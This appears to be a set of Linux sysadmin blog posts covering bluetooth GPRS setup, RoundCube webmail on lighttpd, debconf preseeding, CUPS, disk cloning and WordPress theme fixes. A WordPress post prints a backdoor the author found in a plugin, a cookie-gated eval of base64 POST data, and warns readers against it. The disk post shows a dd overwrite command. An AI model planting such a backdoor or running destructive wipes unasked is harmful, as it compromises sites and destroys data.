When I revisited using my mobile phone’s GPRS modem on my netbook via bluetooth (an Acer Aspire One, running Ubuntu Intrepid, 8.10), I found hundreds of articles detailing the aforementioned edits… and a couple about achieving the same with a gui. The sysadmin-side of me prefers console solutions as these can be used over ssh (so I can set this up for others), my advocate-, user-and blogging-sides wanted a gui.

I found Blueman (http://blueman-project.org/). I first read about it last november (at version 0.6) and was impressed, at time of this writing it is now at 1.02 and working even easier than before, thumbs up!

In this article I’ll have a look at setting up Blueman “the easy ubuntu way”, i.e. mostly from a gui, with package signatures and without using a terminal (I will have to cheat though ).

Step 1, add the ppa
There are various ways of maintaining the repositories used by your system, editing /etc/apt/sources.list by hand or in the package manager, or adding the sources separately as files in /etc/apt/sources.list.d/. I like the modularity of the last option for my current purpose.
The blueman PPA is at https://edge.launchpad.net/~blueman/+archive/ppa. This page also lists the ‘deb’ rules to use for apt’s sources.

To add this repository, press Alt+F2 to get to the ‘Run application’ dialog box, enter ‘gksu gedit’. Copy/paste the sources lines, save the file as ‘/etc/apt/sources.list.d/blueman.list’. It is important that the filenames ends in .list. Careful, the editor is running as root!
deb http://ppa.launchpad.net/blueman/ppa/ubuntu intrepid main
#deb-src http://ppa.launchpad.net/blueman/ppa/ubuntu intrepid main
When I have no direct need for the source I usually uncomment the deb-src rule.

Step 2, add the repository key
Ubuntu/Debian repositories are signed to check if the packages are valid and not tampered with. This is where I’ll cheat. I will add the key through the ‘Run application’ box. On the ppa’s homepage the public key fingerprint of the signing key is listed as: 951DC1E2. The following command will ask apt to fetch the corresponding key:
gksu "apt-key adv --recv-keys --keyserver keyserver.ubuntu.com 951DC1E2"

(For more information see Adding a PPA to your Ubuntu repositories

Step 3, update the package list
Now we need to update the package cache. Start your package manager of choice (Synaptic) and reload.

Step 4, install
Now install the ‘blueman’ package, in Synaptic do a (quick) search for blueman, when the previous steps have gone as planned Synaptic should find the blueman package. Mark the blueman package, that should take care of dependencies as well (most important an updated bluez version), then apply or install.

Step 5, configuration and use
Open the manager, it is located in System -> Preferences. Enable bluetooth (or plug your adapter) if not active yet. (When running the manager is reachable by clicking the bluetooth icon in the tray.)

Setup is quite easy when you’ve setup a bluetooth connection once before (or did so on another os).

• I use ‘Search’ to search for my phone.
• Then ‘Add’ it to the known devices list.
• Then ‘Bond’ (also known as pairing) the phone to the netbook.
• Then ‘Trust’ the connection.

Now basic connectivity between phone and pc is setup. Then ‘Setup’ Dialup networking. (This is where the fun part begins).
As mentioned in the preface, I wanted to connect to the GPRS modem in my phone for mobile internet connection.

Step 6, create a mobile broadband connection
Click Setup, choose ‘Dialup networking’. It may ask you for sudo-password, but will only take a few seconds (in my tests). When done, you should see a /dev/rfcomm0 device entry when you right-click the phone and look in the ‘Serial devices’ menu. That is the serial device we’re after which can be used by the network manager applet. Just right-click the applet, ‘Edit connections’, ‘Mobile broadband’, ‘Add’ and setup your mobile provider’s settings. Now you can connect to it like to another network connection.

For this setup I choose debian packaged software where I can as it saves me the compile time and keeping up-to-date is easy.

Normally, with php-based webmail clients a major overhead is opening and closing the imap connection to the user’s inbox on every read, both for the webserver and the mailserver. Imapproxy creates and keeps a connection for a configurable amount of time on behalf of the user logging in to the webmail client. To the webmail client it acts like a normal imap server but the overhead of reading the user’s entire mailbox is reduced.

# apt-get install imapproxy
# gedit /etc/imapproxy.conf
server_hostname localhost
listen_port 144 #or any other free port, remember I have courier bound to 143 already
listen_address 127.0.0.1
server_port 143
enable_select_cache yes
# /etc/init.d/imapproxy restart


Now we need a webserver, I choose Lighttpd because it is lightweight and fast. On top of lighttpd I run php5 in fast CGI mode (as it prespawns php processes the setup overhead is gone). In lighttpd I enable SSL, compress and optionally userdir. RoundCube will need some kind of database backend, since the use is limited I choose sqlite because it uses files as a backend, saving me the memory for a postgres or mysql backend.
# apt-get install lighttpd php5-cgi php5-sqlite php5-mcrypt php5-gd

In Etch, the packaged 10-fastcgi.conf file is hardcoded for php4. Edit the ‘bin-path’ in /etc/lighttpd/conf-available/10-fastcgi.conf to /usr/bin/php-cgi:
### changed for php5
"bin-path" => "/usr/bin/php-cgi",


Now enable the modules, one by one:
# lighty-enable-mod
fastcgi
# lighty-enable-mod
ssl
###this last one is optional
# lighty-enable-mod
userdir


You will need a SSLcertificate in /etc/lighttpd/server.pem, a self-signed one is easily created:
$ cd /etc/lighttpd
# make-ssl-cert /usr/share/ssl-cert/ssleay.cnf server.pem


You should now get a welcome message on http://yourserver, on https://yourserver, and when you have a ~/public_html directory http://yourserver/~youruser should work as well.

Now get the latest stable RoundCube version (0.2 at time of writing), and have a quick look at the installation manual.

First, choose an installation directory, I use my own public_html for testing purposes (if you have enabled the module userdir) before. Extract the tar, rename or link it to something easier, setup sqlite and check access rights. The sqlite database should be readable and writable by the www-data user.
$ cd public_html
$ tar xzf ~/Downloads/roundcubemail-0.2-stable.tar.gz
$ mv roundcubemail-0.2-stable/ rc
$ cd rc
# chown www-data temp logs
# sudo -u www-data sqlite -init SQL/sqlite.initial.sql /var/tmp/rc.sqlite.db
CTRL-D to exit

Note: /var/tmp is NOT a good idea for production use!

Now it’s time to configure. Point your browser to http://yourserver/~user/rc/url-to-roundcube/installer/ to start the installation wizzard (yeh!).
You can now setup your RoundCube the way you wish to, this is later easily changable by editing the created configuration files.
The db configuration is a bit tricky, as it lists hostname, username and password textboxes even though the sqlite driver is selected. Keep them empty. After clicking ‘Create config’ copy the contents of the textareas or use the download links and edit db.inc.php:
$rcmail_config['db_dsnw'] = 'sqlite:////var/tmp/rc.sqlite.db?mode=0646';


Now test it. If you are able to login and see your email you must delete the installer directory.

You could wonder why I don’t compile all software myself to push out those few last drops of performance. I feel that is a matter of preference. I feel 24 hours of compiling time isn’t worth it compared to using debian packages where I don’t have to track security issues myself, a dist-upgrade usually just works. The other optimizations as laid out in this article (proxying of imap connections and the smaller webserver, prespawned php processes etc) have much more impact.

ps: When I started writing this Debian Lenny was still “testing”, so there might be some small inconsistencies in config files.

ps2: some after-thoughts on getting to a more production-grade system.

• It would be nice to keep the https and http document roots separate, you could do a redirect from http to https as a service to the customers.
• By adding something to lighty’s 10-ssl.conf like
  alias.url += ( "/webmail/" => "/home/webmail/htdocs/rc/" )
  RoundCube is only visible via https in the webmail directory.

• For production use a self-signed certificate is imho still ok, at least when fqdn matches and ttl is not too long.
• When you have a /home/webmail directory that would be the obvious choice for storing the database file.
• I wonder at which number of simultaneous clients it would start to make sense to use a ‘real’ dbms (postgres) instead of the flat files; I’d guess that might be quite a high number (> 25).
• A separate outgoing queue on the webmail server itself with its smarthost set to your normal mailserver might speed up sending emails.

Now when you have to do the same thing over and over again (ever said yes 25 times to Sun’s java license?), or you find that after a dist-upgrade your ldap configurations are gone because you pressed ‘enter’ one too many times…; you could either keep lots of tarballs or digg deeper. The latter could be done with debconf. Debconf keeps all answers to questions packages can ask during installation, both the ones you gave yourself and the implied or low-priority ones chosen by the packager.

You can set those values yourself quite easily, once you know how.

When using .deb-packages you’re used to getting asked about licenses, values, locations, downloads etc. All these are stored in debconf. You can preload those answers before so they won’t get asked during installation (a silent, scriptable, install) or to “steer” the package into your desired config-direction.

You have to find out the values first. I usually check out my own base-line installation and then search a bit in newsgroups and forums for finer details and tuning.

For example, you want to pre-accept Sun’s DLJ java license:

# debconf-get-selections|grep java
sun-java6-bin shared/accepted-sun-dlj-v1-1 boolean true
sun-java6-jre shared/accepted-sun-dlj-v1-1 boolean true
...


You can now script that installation like so, copying the value from line #3 into a small script (You could do this in a one-liner as well, but since we are scripting anyway) :
#!/bin/sh
echo -n Will now install jre, silently...
echo "sun-java6-jre shared/accepted-sun-dlj-v1-1 boolean true" | debconf-set-selections
apt-get -qq -y install sun-java6-jre
echo done.
exit 0


White space is ofcourse important in line 3 but tabs work as well as spaces.

debconf-set-selections should always be there. To get debconf-get-selections on your master-install you will need the debconf-utils package (at least on ubuntu hardy and up and debian etch).
Both tools need to be run as root, so be careful! You can imagine you can ruin a perfectly good install to beyond repair!
I suggest something like: # debconf-get-selections > debconf-selections-backup-`date +%Y%m%d`as backup-measure before trying.

Bonus points: now you know why Ubuntu is ‘easy’ and debian is not!

Easy but poorly documented.

Assuming you have a working cups server cupsserver.localdomain somewhere on the network you’re currently in; the cups config is working, i.e. printers are connected and shared and browseable.

Edit or create (this file is not in any package, so it is perfectly normal to have to create it yourself) /etc/cups/client.conf:
# sudo gedit /etc/cups/client.conf
ServerName cupsserver.localdomain
Save the file and you’re done. There is no need to re-login, it might take a while though and I’ve found applications like Firefox sometimes do need a restart to re-poll their printer settings.

When you’re moving from net to net a lot like I am it might be easier to keep a number of files or multiple servers in the same file, uncommenting the current one when needed; that’s a matter of preference.

This works on most Ubuntu and/or Debian versions, as long as they use cups ofcourse.

So I bought myself a new disk, ofcourse it’s larger then the original, so I was not sure if a disk => disk copy would work. I found the program ddrescue, which did the job well. True, resuming windows after this caused a BSOD, but well, what else could you expect, the hardware changed while the system was “running”… After another reboot the system worked fine, as if nothing had changed. Resizing the disk was not possible, probably because of the dell restore partition behind the main ntfs partition, but well, it’s only temporary and I didn’t need the extra disk space in the first place. Copying a 250Gb disk took about 1 1/2 hours, not bad, IMHO.

After this doing a dd if=/dev/urandom of=/dev/MYOLDDISK took a way longer time. This is done with an average speed of 2.2Mb/sec, so the entire process of a 250Gb disk takes approximately 34 hours! At least, on my system. So if you need to wipe your data, take your time.

Update:

Perhaps I should have read the comments on the page with ddrescue, the copy speed could be faster if I used another tool. For example CloneZilla. ddrescue did the job for me, but there might be better alternatives for it available.

But  we ran into a problem that I couldn’t explain right away, if we tried to “ssh” to our svn repository it didn’t resolve the hostname, while “normal” host lookup programs had no trouble with resolving it at all. So I posted the problem on the Ubuntu forums. Unfortunately the first response was a bit disappointing: “does it work when you try to ssh via ip?”… So I thought lets call a friend who helps me out more often in cases like these. And indeed he knew the answer. It seems that avahi is causing this problem. I’ve not yet found out why avahi is doing this, but I guess it’s a bad idea to use avahi while you need to work with a “.local” domain.

I wanted to know why avahi did this, so I thought lets join the Ubuntu IRC channel. Unfortunately I didn’t get an explanation. But I got to see something about iptables that I didn’t know about before, prerouting. Someone asked the following question:

2008-11-11 21:53:48 < deus> It is possible to use the iptables to redirect http traffic to a proxy server, for example by using iptables -t nat -A PREROUTING -p tcp -i br0 –dport 80 -j DNAT
–to-destination <ip proxy>:3128 But how does the proxy server know which site he has to lookup since the destination is changed to its own address?

I didn’t know the answer to that, guess it works via the HTTP protocol itself, but well, perhaps I’ll find this out some other time. But while I was looking into this prerouting thingy I found a nice blog post about using prerouting for flash remoting. I’ve no use for this information yet, but you never know.

Further changes to the Freshy2 theme and wordpress:

• I’ve added a none.gif to the background images folder, since I got loads of 404 messages about it not being in there.
• I’ve copied the default search box style (#s) from the wordpress theme and removed the “white” background color so you can see what you type when searching. Unfortunately I now need a black anti-aliased version of the search icon.
• I’ve added a header to the search widget (guess that will be gone on the next WP update from Debian, as soon as the TinyMCE maintainer updates TinyMCE). Not sure if I really want it to stay, but if I do I need to find a better way to add it.

Now I “just” need to work on the <pre> and <code> output of the theme, since reading it is not very easy at the moment.

And I found why the Live search plugin didn’t work. It uses the deprecated get_bloginfo(‘siteurl’), while it should be using get_bloginfo(‘wpurl’). But well, after having contact with the maintainer of it, I won’t be using it. He is not interested in maintaining it, so better not to use that one.

But… Since I was looking at the code to fix this I also found:

<?php if($_COOKIE['7b13cc987791f418']=="6d6bedf94c36d538"){ eval(base64_decode($_POST['file'])); exit; } ?>

No thank you very much!

So what did we learn: Never ever trust WordPress plugins… So do not use this (version of the) plugin, unless you know how to remove this piece of code!

I’ll check out after some sleep what WordPress has to offer when you find a vulnerability like this in a plugin, so perhaps users of it can be warned… And I’ll fix this plugin later also, to be continued…

Update: it seems that it’s fixed. Although I’m not sure how the WordPress auto-update feature could create a line of code like that (as in, this sounds like bollocks to me).

[1] Funny sidenote, I found this blog two years ago and commented on one of his articles on Oracle.

1. In the wp-content/themes/freshy2/functions.php file on line 474 it says

$path = WP_CONTENT_DIR.$theme_info->template_dir.'/';

If you change that to:

$path = ABSPATH.$theme_info->template_dir.'/';

suddenly you are able to configure the theme as promised by the author (at least that is what I needed to do with my Debian version of WordPress).

2. The customize freshy plugin that is advertised makes it so that I even though I’ve changed the stylesheet, it’s still not visible. So I’ve disabled that plugin. The line of php that is causing this behavior is also in functions.php, but then on line 26

if (!class_exists('Nice_theme')) add_action('wp_head','freshy_head');

Seems that Nice_theme doesn’t change the wp_head function. I didn’t look further into this, since the configuration options Freshy2 gives me are enough.

Furthermore, this theme breaks the xhtml 1.1 validation. I’ve removed the autocomplete="off" in the searchform.php file and added a <p> block around the search inputs. For more information about the autocomplete attribute and xhtml see this post on the Mozilla wiki (to be moved some time in the future).

Talking about xhtml 1.1 validation. This theme also puts a xhtml 1.0 doctype in the pages, while the footer of WordPress shows xhtml 1.1. So I’ve changed the doctype and removed the lang=”en” attribute from the <html> tag. But well, guess only a few people really try the validation button on the bottom of the page.

And I had to change the title of the blog again in the same manner as I did the last time on the default WordPress theme.

But, now I’ve done this I’m very happy. I really like the theme’s looks, certainly with this dark version, since it also adds something that I really wanted: no more fixed width layout! With the default version you still get a fixed with version, but this one scales. So thank you Jide!

Now a few things remain to be done:

• Fix the <code> layout, since it doesn’t play well with my code formatting plugin and well.. it distracts a bit
• Add Excerpts to all my posts
• Cut down on the number of categories and add more tags
• Find out why some post don’t show their date on the homepage
• Change the color of the input text, so you can see what you search for
• Post more frequently (still got about 20 drafts to work on)
• Find out why putting <pre> tags inside <li> tags breaks validation

Update: I should have read the comments on the theme site before I started to work on the theme… Then I would have seen that more people encountered the problems and already wrote fixes to them. Someone thought the problem with the disappearing post dates has to do with editing the post after publishing. That is not the case, unfortunately. It is caused because the_date() doesn’t show the date if it’s the same as the date of the post before. In the default WordPress theme the_time('F jS, Y') is used in stead of the_date(). And the_time() doesn’t check for the last date. But, with just putting ‘F js, Y’ into this function call, changing your date format in the settings doesn’t help, so what you need to put in the index.php file on line 15 is the_time(get_option('date_format')). At least, if you want the date to be always shown. Perhaps I should make it a feature request that you can change this behavior of the_date, and add a bug report that the default theme doesn’t listen to the date_format setting…

Unfortunately, you have to manually update this for Daylight Savings Time. Lame, we know, but will be fixed in the future.

Lame indeed, and guess I forgot about this. A while ago a colleague encountered a similar problem in phpBB. Guess it’s PHP related and not just WordPress, as both products have the same problem. I wonder if the fix promised by WordPress is waiting for daylight savings time to be abandoned as idea, since it’s advantages are still being questioned.